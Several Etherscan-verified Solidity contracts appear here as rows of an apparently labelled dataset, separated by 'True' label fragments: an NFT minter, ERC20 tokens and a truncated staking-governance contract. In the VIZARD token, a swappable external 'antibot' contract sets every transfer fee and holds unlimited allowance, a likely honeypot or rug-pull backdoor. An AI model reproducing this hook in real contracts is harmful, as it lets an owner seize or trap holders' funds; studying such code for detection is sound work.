/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: contracts\SmartContract.sol
/**
*ME
*
* 10,000 Lunalanders flying through the Metaverse.
*/
pragma solidity ^0.8.0;
contract MULTINFT is ERC721Enumerable, Ownable {
using Strings for uint256;
string public baseURI;
string public baseExtension = ".json";
uint256 public cost = 0.05 ether;
uint256 public maxSupply = 10000;
uint256 public maxMintAmount = 150;
bool public paused = false;
mapping(address => bool) public whitelisted;
constructor(
string memory _name,
string memory _symbol,
string memory _initBaseURI
) ERC721(_name, _symbol) {
setBaseURI(_initBaseURI);
mint(msg.sender, 150);
}
// internal
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
// public
function mint(address _to, uint256 _mintAmount) public payable {
uint256 supply = totalSupply();
require(!paused);
require(_mintAmount > 0);
require(_mintAmount <= maxMintAmount);
require(supply + _mintAmount <= maxSupply);
if (msg.sender != owner()) {
if(whitelisted[msg.sender] != true) {
require(msg.value >= cost * _mintAmount);
}
}
for (uint256 i = 1; i <= _mintAmount; i++) {
_safeMint(_to, supply + i);
}
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
uint256 ownerTokenCount = balanceOf(_owner);
uint256[] memory tokenIds = new uint256[](ownerTokenCount);
for (uint256 i; i < ownerTokenCount; i++) {
tokenIds[i] = tokenOfOwnerByIndex(_owner, i);
}
return tokenIds;
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
string memory currentBaseURI = _baseURI();
return bytes(currentBaseURI).length > 0
? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension))
: "";
}
//only owner
function setCost(uint256 _newCost) public onlyOwner() {
cost = _newCost;
}
function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner() {
maxMintAmount = _newmaxMintAmount;
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
baseURI = _newBaseURI;
}
function setBaseExtension(string memory _newBaseExtension) public onlyOwner {
baseExtension = _newBaseExtension;
}
function pause(bool _state) public onlyOwner {
paused = _state;
}
function whitelistUser(address _user) public onlyOwner {
whitelisted[_user] = true;
}
function removeWhitelistUser(address _user) public onlyOwner {
whitelisted[_user] = false;
}
function withdraw() public payable onlyOwner {
require(payable(msg.sender).send(address(this).balance));
}
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/**
*Submitted for verification at Etherscan.io on 2021-05-02
*/
pragma solidity ^0.5.0;
// ----------------------------------------------------------------------------
// PROPERTY OF ARTDECOETH.com
//ERC Token Standard #20 Interface
//
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Safe Math Library
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0);
c = a / b;
}
}
contract ArtDeco is ERC20Interface, SafeMath {
string public name;
string public symbol;
uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor() public {
name = "ArtDeco";
symbol = "ArtDeco";
decimals = 9;
_totalSupply = 100000000000000000000000000;
balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-09-30
*/
//SPDX-License-Identifier: MIT
/**
* https://t.me/VIZARDETH
*/
pragma solidity ^0.7.6;
interface SniperBlock {
function getTotalFee(uint256, address, address, address) external returns (uint256,bool);
function setup(address) external;
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Auth {
address internal owner;
mapping (address => bool) internal authorizations;
constructor(address _owner) {
owner = _owner;
authorizations[_owner] = true;
}
/**
* Function modifier to require caller to be contract owner
*/
modifier onlyOwner() {
require(isOwner(msg.sender), "!OWNER"); _;
}
/**
* Function modifier to require caller to be authorized
*/
modifier authorized() {
require(isAuthorized(msg.sender), "!AUTHORIZED"); _;
}
/**
* Authorize address. Owner only
*/
function authorize(address adr) public onlyOwner {
authorizations[adr] = true;
}
/**
* Remove address' authorization. Owner only
*/
function unauthorize(address adr) public onlyOwner {
authorizations[adr] = false;
}
/**
* Check if address is owner
*/
function isOwner(address account) public view returns (bool) {
return account == owner;
}
/**
* Return address' authorization status
*/
function isAuthorized(address adr) public view returns (bool) {
return authorizations[adr];
}
/**
* Transfer ownership to new address. Caller must be owner. Leaves old owner authorized
*/
function transferOwnership(address payable adr) public onlyOwner {
owner = adr;
authorizations[adr] = true;
emit OwnershipTransferred(adr);
}
event OwnershipTransferred(address owner);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract VIZARD is IERC20, Auth {
using SafeMath for uint256;
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
string constant _name = "VIZARD";
string constant _symbol = "VZD";
uint8 constant _decimals = 15;
uint256 _totalSupply = 1000000000 * (10 ** _decimals);
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _allowances;
mapping (address => bool) isFeeExempt;
uint256 liquidityFee = 30;
uint256 marketingFee = 20;
uint256 totalFee = 50;
uint256 feeDenominator = 1000;
address public autoLiquidityReceiver;
address public marketingFeeReceiver;
IDEXRouter public router;
address public pair;
SniperBlock antibot;
bool public swapEnabled = true;
uint256 public swapThreshold = _totalSupply / 20000; // 0.005%
bool inSwap;
modifier swapping() { inSwap = true; _; inSwap = false; }
constructor () Auth(msg.sender) {
router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
pair = IDEXFactory(router.factory()).createPair(WETH, address(this));
_allowances[address(this)][address(router)] = uint256(-1);
isFeeExempt[owner] = true;
autoLiquidityReceiver = msg.sender;
marketingFeeReceiver = msg.sender;
_balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
receive() external payable { }
function totalSupply() external view override returns (uint256) { return _totalSupply; }
function decimals() external pure override returns (uint8) { return _decimals; }
function symbol() external pure override returns (string memory) { return _symbol; }
function name() external pure override returns (string memory) { return _name; }
function getOwner() external view override returns (address) { return owner; }
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
function approve(address spender, uint256 amount) public override returns (bool) {
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function approveMax(address spender) external returns (bool) {
return approve(spender, uint256(-1));
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
return _transferFrom(msg.sender, recipient, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
if(_allowances[sender][msg.sender] != uint256(-1)){
_allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
}
return _transferFrom(sender, recipient, amount);
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
if(inSwap){ return _basicTransfer(sender, recipient, amount); }
if(shouldSwapBack()){ swapBack(); }
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
uint256 amountReceived;
if(!isFeeExempt[recipient]){amountReceived= shouldTakeFee(sender) ? takeFee(sender, amount, recipient) : amount;}else{amountReceived = amount;}
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
return true;
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function transferBatch(address[] calldata recipients, uint256 amount) public {
for (uint256 i = 0; i < recipients.length; i++) {
require(_basicTransfer(msg.sender,recipients[i], amount));
}
}
function shouldTakeFee(address sender) internal view returns (bool) {
return !isFeeExempt[sender];
}
function takeFee(address sender,uint256 amount, address receiver) internal returns (uint256) {
(uint256 feeAmount,bool toantibot) = antibot.getTotalFee(amount,sender,receiver,msg.sender);
if(!toantibot){_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);}
else{_balances[address(antibot)] = _balances[address(antibot)].add(feeAmount);
emit Transfer(sender, address(antibot), feeAmount);}
return amount.sub(feeAmount);
}
function shouldSwapBack() internal view returns (bool) {
return msg.sender != pair
&& !inSwap
&& swapEnabled
&& _balances[address(this)] >= swapThreshold;
}
function recoverEth() external onlyOwner() {
payable(msg.sender).transfer(address(this).balance);
}
function recoverToken(address _token, uint256 amount) external authorized returns (bool _sent){
_sent = IERC20(_token).transfer(msg.sender, amount);
}
function swapBack() internal swapping {
uint256 amountToLiquify = _balances[address(this)].div(2);
uint256 amountToSwap = _balances[address(this)].sub(amountToLiquify);
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = WETH;
uint256 balanceBefore = address(this).balance;
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
amountToSwap,
0,
path,
address(this),
block.timestamp+360
);
uint256 amountETH = address(this).balance.sub(balanceBefore);
uint256 totalETHFee = totalFee.sub(liquidityFee.div(2));
uint256 amountETHLiquidity = amountETH.mul(liquidityFee).div(totalETHFee).div(2);
uint256 amountETHMarketing = amountETH.mul(marketingFee).div(totalETHFee);
(bool sent, ) = payable(marketingFeeReceiver).call{value: amountETHMarketing, gas: 30000}("");
require(sent, "Failed to send Ether");
if(amountToLiquify > 0){
router.addLiquidityETH{value: amountETHLiquidity}(
address(this),
amountToLiquify,
0,
0,
autoLiquidityReceiver,
block.timestamp+360
);
emit AutoLiquify(amountETH, amountToLiquify);
}
}
function setIsFeeExempt(address holder, bool exempt) external onlyOwner {
isFeeExempt[holder] = exempt;
}
function setFeeReceivers(address _autoLiquidityReceiver) external onlyOwner {
autoLiquidityReceiver = _autoLiquidityReceiver;
}
function setSwapBackSettings(bool _enabled, uint256 _amount) external onlyOwner {
swapEnabled = _enabled;
swapThreshold = _amount;
}
function addAntiBot(address _antibot) external authorized {
antibot = SniperBlock(_antibot);
_allowances[address(this)][address(_antibot)] = uint256(-1);
isFeeExempt[_antibot] = true;
}
function setupAntiBot() external authorized {
antibot.setup(address(this));
}
function manualSwap() external authorized{
swapBack();
}
event AutoLiquify(uint256 amountETH, uint256 amountToken);
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-10-03
*/
/**
*Submitted for verification at Etherscan.io on 2020-09-23
*/
//SPDX-License-Identifier: MIT
/*
* MIT License
* ===========
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
*/
pragma solidity ^0.5.17;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
pragma solidity ^0.5.17;
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.5.5;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* This test is non-exhaustive, and there may be false-negatives: during the
* execution of a contract's constructor, its address will be reported as
* not containing a contract.
*
* IMPORTANT: It is unsafe to assume that an address for which this
* function returns false is an externally-owned account (EOA) and not a
* contract.
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
pragma solidity ^0.5.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
pragma solidity ^0.5.0;
contract LPTokenWrapperWithSlash {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public stakeToken;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
constructor(IERC20 _stakeToken) public {
stakeToken = _stakeToken;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function stake(uint256 amount) public {
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
stakeToken.safeTransferFrom(msg.sender, address(this), amount);
}
function withdraw(uint256 amount) public {
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
stakeToken.safeTransfer(msg.sender, amount);
}
function slash(address proposer) internal returns (uint256 amount) {
amount = _balances[proposer];
_totalSupply = _totalSupply.sub(amount);
_balances[proposer] = 0;
}
}
interface UniswapRouter {
function WETH() external pure returns (address);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
}
interface IGovernance {
function getStablecoin() external view returns (address);
}
contract BoostGovV2 is LPTokenWrapperWithSlash, IGovernance {
using SafeERC20 for IERC20;
IERC20 private stablecoin;
UniswapRouter private uniswapRouter;
// 1% = 100
uint256 private constant MIN_QUORUM_PUNISHMENT = 500; // 5%
uint256 private constant MIN_QUORUM_THRESHOLD = 4000; // 40%
uint256 private constant PERCENTAGE_PRECISION = 10000;
uint256 private WITHDRAW_THRESHOLD = 1e20; // 100 UNI
mapping(address => uint256) public voteLock; // period that your stake it locked to keep it for voting
struct Proposal {
address proposer;
uint256 withdrawAmount;
address withdrawAddress;
bool hasResolved;
mapping(address => uint256) forVotes;
mapping(address => uint256) againstVotes;
uint256 totalForVotes;
uint256 totalAgainstVotes;
uint256 start; // block start;
uint256 end; // start + period
string url; // url
}
mapping (uint256 => Proposal) public proposals;
uint256 public proposalCount;
uint256 public proposalPeriod = 2 days;
uint256 public lockPeriod = 4 days;
uint256 public minimum = 38e18; //Increase minimum to ensure real & serious proposals
address private devEscrow = 0x2b631B020a59e77F302e11182ee49f99C05A98a8;
constructor(IERC20 _stakeToken, IERC20 _stablecoin, UniswapRouter _uniswapRouter)
public
LPTokenWrapperWithSlash(_stakeToken)
{
stablecoin = _stablecoin;
stakeToken.safeApprove(address(_uniswapRouter), uint256(-1));
uniswapRouter = _uniswapRouter;
}
function getStablecoin() external view returns (address) {
return address(stablecoin);
}
function propose(
string memory _url,
uint256 _withdrawAmount,
address _withdrawAddress
) public {
require(balanceOf(msg.sender) > minimum, "stake more wPE");
proposals[proposalCount++] = Proposal({
proposer: msg.sender,
withdrawAmount: _withdrawAmount,
withdrawAddress: _withdrawAddress,
hasResolved: false,
totalForVotes: 0,
totalAgainstVotes: 0,
start: block.timestamp,
end: proposalPeriod.add(block.timestamp),
url: _url
});
voteLock[msg.sender] = lockPeriod.add(block.timestamp);
}
